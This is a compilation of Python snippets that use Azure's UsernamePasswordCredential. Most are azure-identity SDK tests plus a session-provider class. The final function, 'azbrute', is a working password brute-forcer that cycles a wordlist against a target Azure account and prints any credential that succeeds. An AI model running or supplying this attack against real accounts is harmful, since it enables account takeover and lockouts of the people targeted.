def test_claims_challenge(): """get_token should and authenticate pass any claims challenge to MSAL token acquisition APIs""" msal_acquire_token_result = dict( build_aad_response(access_token="**", id_token=build_id_token()), id_token_claims=id_token_claims("issuer", "subject", "audience", upn="upn"), ) expected_claims = '{"access_token": {"essential": "true"}' transport = Mock(send=Mock(side_effect=Exception("this test mocks MSAL, so no request should be sent"))) credential = UsernamePasswordCredential("client-id", "username", "password", transport=transport) with patch.object(UsernamePasswordCredential, "_get_app") as get_mock_app: msal_app = get_mock_app() msal_app.acquire_token_by_username_password.return_value = msal_acquire_token_result credential.authenticate(scopes=["scope"], claims=expected_claims) assert msal_app.acquire_token_by_username_password.call_count == 1 args, kwargs = msal_app.acquire_token_by_username_password.call_args assert kwargs["claims_challenge"] == expected_claims credential.get_token("scope", claims=expected_claims) assert msal_app.acquire_token_by_username_password.call_count == 2 args, kwargs = msal_app.acquire_token_by_username_password.call_args assert kwargs["claims_challenge"] == expected_claims msal_app.get_accounts.return_value = [{"home_account_id": credential._auth_record.home_account_id}] msal_app.acquire_token_silent_with_error.return_value = msal_acquire_token_result credential.get_token("scope", claims=expected_claims) assert msal_app.acquire_token_silent_with_error.call_count == 1 args, kwargs = msal_app.acquire_token_silent_with_error.call_args assert kwargs["claims_challenge"] == expected_claims
def test_no_scopes(): """The credential should raise when get_token is called with no scopes""" credential = UsernamePasswordCredential("client-id", "username", "password") with pytest.raises(ValueError): credential.get_token()
def test_user_agent(): transport = validating_transport( requests=[Request()] * 2 + [Request(required_headers={"User-Agent": USER_AGENT})], responses=[get_discovery_response()] * 2 + [mock_response(json_payload=build_aad_response(access_token="**", id_token=build_id_token()))], ) credential = UsernamePasswordCredential("client-id", "username", "password", transport=transport) credential.get_token("scope")
class CredsViaUsernamePassword(SessionProvider): """A session provider that obtains Azure tokens via username & password. Credentials are obtained by authenticating with Azure AD using a username and password. Access tokens are cached by the underlying MSAL library and automatically refreshed as needed. The `username` is typically an email address that specifies the user. `Password` is the password for the specified username. The `tenant_id` argument is optional specifies the tenant of the user. Normally, this can be derived from the email address used as the username, so it is not required. The `authority` argument is optional and specifies the Microsoft authority host to use. If none is provided, the default is "login.microsoftonline.com". For more information, see [Azure SDK documentation](https://azuresdkdocs.blob.core.windows.net/$web/python/azure-identity/1.4.0/azure.identity.html#azure.identity.UsernamePasswordCredential) """ def __init__(self, username, password, tenant_id=None, authority=None): self.creds = UsernamePasswordCredential( DEVELOPER_SIGN_ON_CLIENT_ID, username, password, tenant_id=tenant_id, authority=authority, ) # Wrap the credential's get_token method to ensure that only one thread # calls get_token with a specific scope. All other threads requesting a # token of the same scope will be blocked until the first has completed. # Thus pre-filling the MSAL token cache. It prevents a bunch of # unnecessary network requets for authentication. self.creds.get_token = _wait_once_per_scope(self.creds.get_token) # Request a token now as it will validate the user supplied the correct # username and password. If we did not catch that here, then each worker # would end up failing---possibly locking the user's account. # # Is using this scope a safe assumption, will all users have access to # this scope? I'd really like to validate a person's credential before # we let the workers loose, but it's impossible to know what Azure SDK # clients will be used by the user, which dictates the scope used. self.creds.get_token(ARM_SCOPE) def session(self, _subscription_id): # The same credentials are used regardless of the subscription within a # tenant, which is why we ignore the subscription here--unlike AWS. return self.creds
def test_policies_configurable(): policy = Mock(spec_set=SansIOHTTPPolicy, on_request=Mock()) transport = validating_transport( requests=[Request()] * 3, responses=[get_discovery_response()] * 2 + [mock_response(json_payload=build_aad_response(access_token="**", id_token=build_id_token()))], ) credential = UsernamePasswordCredential("client-id", "username", "password", policies=[policy], transport=transport) credential.get_token("scope") assert policy.on_request.called
def test_username_password_credential(): expected_token = "access-token" transport = validating_transport( requests=[Request()] * 2, # not validating requests because they're formed by MSAL responses=[ # expecting tenant discovery then a token request mock_response( json_payload={ "authorization_endpoint": "https://a/b", "token_endpoint": "https://a/b" }), mock_response( json_payload={ "access_token": expected_token, "expires_in": 42, "token_type": "Bearer", "ext_expires_in": 42, }), ], ) credential = UsernamePasswordCredential( client_id="some-guid", username="******", password="******", transport=transport, instance_discovery= False, # kwargs are passed to MSAL; this one prevents an AAD verification request ) token = credential.get_token("scope") assert token.token == expected_token
def test_username_password_credential(): expected_token = "access-token" client_id = "client-id" transport = validating_transport( requests=[Request()] * 3, # not validating requests because they're formed by MSAL responses=[ # tenant discovery mock_response( json_payload={ "authorization_endpoint": "https://a/b", "token_endpoint": "https://a/b" }), # user realm discovery, interests MSAL only when the response body contains account_type == "Federated" mock_response(json_payload={}), # token request mock_response( json_payload=build_aad_response(access_token=expected_token, id_token=build_id_token( aud=client_id))), ], ) credential = UsernamePasswordCredential( client_id=client_id, username="******", password="******", transport=transport, instance_discovery= False, # kwargs are passed to MSAL; this one prevents an AAD verification request ) token = credential.get_token("scope") assert token.token == expected_token
def test_obo_cert(self): client_id = self.obo_settings["client_id"] tenant_id = self.obo_settings["tenant_id"] user_credential = UsernamePasswordCredential( client_id, self.obo_settings["username"], self.obo_settings["password"], tenant_id=tenant_id ) assertion = user_credential.get_token(self.obo_settings["scope"]).token credential = OnBehalfOfCredential(tenant_id, client_id, client_certificate=self.obo_settings["cert_bytes"], user_assertion=assertion) credential.get_token(self.obo_settings["scope"])
def test_authenticate(): client_id = "client-id" environment = "localhost" issuer = "https://" + environment tenant_id = "some-tenant" authority = issuer + "/" + tenant_id access_token = "***" scope = "scope" # mock AAD response with id token object_id = "object-id" home_tenant = "home-tenant-id" username = "******" id_token = build_id_token(aud=client_id, iss=issuer, object_id=object_id, tenant_id=home_tenant, username=username) auth_response = build_aad_response(uid=object_id, utid=home_tenant, access_token=access_token, refresh_token="**", id_token=id_token) transport = validating_transport( requests=[Request(url_substring=issuer)] * 4, responses=[ get_discovery_response(authority), # instance discovery get_discovery_response(authority), # tenant discovery mock_response(status_code=404), # user realm discovery mock_response(json_payload=auth_response ), # token request following authenticate() ], ) credential = UsernamePasswordCredential( username=username, password="******", authority=environment, client_id=client_id, tenant_id=tenant_id, transport=transport, ) record = credential.authenticate(scopes=(scope, )) for auth_record in (record, credential.authentication_record): assert auth_record.authority == environment assert auth_record.home_account_id == object_id + "." + home_tenant assert auth_record.tenant_id == home_tenant assert auth_record.username == username # credential should have a cached access token for the scope passed to authenticate token = credential.get_token(scope) assert token.token == access_token
async def test_obo(self): client_id = self.obo_settings["client_id"] client_secret = self.obo_settings["client_secret"] tenant_id = self.obo_settings["tenant_id"] user_credential = UsernamePasswordCredential( client_id, self.obo_settings["username"], self.obo_settings["password"], tenant_id=tenant_id) assertion = user_credential.get_token(self.obo_settings["scope"]).token credential = OnBehalfOfCredential(tenant_id, client_id, client_secret, assertion) await credential.get_token(self.obo_settings["scope"])
def azbrute( username: str = typer.Option(..., "-u", help="Username to bruteforce"), passList: Path = typer.Option(..., "-p", help="Path to password list"), ): """Bruteforces password for an Azure account""" validCred = {"user": username, "pass": None} with open(passList, "r", encoding="latin-1") as passes: for pwd in passes.read().splitlines(): login = UsernamePasswordCredential( "1950a258-227b-4e31-a9cf-717495945fc2", username, pwd) try: token = login.get_token("https://graph.microsoft.com/.default") validCred["pass"] = pwd except ClientAuthenticationError as e: pass if not validCred["pass"]: raise CommandUnsuccessfulError( f"Brute force for {username} unsuccessful") typer.echo(f"\nCredential found! - {validCred}\n")